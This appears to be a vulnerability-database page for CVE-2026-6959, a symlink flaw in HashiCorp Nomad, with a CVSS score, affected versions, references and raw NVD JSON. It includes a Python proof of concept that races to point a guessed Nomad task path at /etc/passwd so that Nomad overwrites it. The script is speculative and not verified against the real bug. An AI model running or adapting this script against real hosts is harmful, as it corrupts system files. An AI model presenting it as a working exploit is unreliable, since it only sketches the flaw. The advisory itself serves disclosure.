CVE-2026-6959

Description

HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to arbitrary file read and write on the client host as the Nomad process user through a symlink attack. This vulnerability (CVE-2026-6959) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.

CVSS Details

CVSS Score

6.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

HashiCorp Nomad < 2.0.1

HashiCorp Nomad < 1.11.5

HashiCorp Nomad < 1.10.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import time

# PoC for CVE-2026-6959: Symlink Attack in HashiCorp Nomad
# This script demonstrates the concept of a race condition exploit.
# It attempts to trick a process into writing to a sensitive file via a symlink.

TARGET_FILE = "/etc/passwd"  # The file we want to overwrite
NOMAD_TASK_DIR = "/tmp/nomad/task_dir/artifact"  # Expected path Nomad writes to

print("[*] Starting Symlink Attack Simulation...")
print(f"[*] Targeting: {TARGET_FILE}")

while True:
    try:
        # Remove existing link or directory if present
        if os.path.islink(NOMAD_TASK_DIR):
            os.unlink(NOMAD_TASK_DIR)
        elif os.path.exists(NOMAD_TASK_DIR):
            os.rmdir(NOMAD_TASK_DIR)
        
        # Create the symlink pointing to the target file
        os.symlink(TARGET_FILE, NOMAD_TASK_DIR)
        print(f"[+] Symlink created: {NOMAD_TASK_DIR} -> {TARGET_FILE}")
        
        # Wait for the Nomad process to perform the write operation
        # In a real exploit, this would be synchronized with the task allocation
        time.sleep(0.1)
        
    except KeyboardInterrupt:
        print("[!] Stopping attack.")
        break
    except Exception as e:
        print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6959
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6959
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6959/
[4] VulDB https://vuldb.com/cve/CVE-2026-6959
[5] https://discuss.hashicorp.com/t/hcsec-2026-14-nomad-arbitrary-file-read-write-on-client-host-through-symlink-attack/77416

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6959", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:46.267", "lastModified": "2026-05-12T20:16:46.267", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to arbitrary file read and write on the client host as the Nomad process user through a symlink attack. This vulnerability (CVE-2026-6959) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://discuss.hashicorp.com/t/hcsec-2026-14-nomad-arbitrary-file-read-write-on-client-host-through-symlink-attack/77416", "source": "[email protected]"}]}}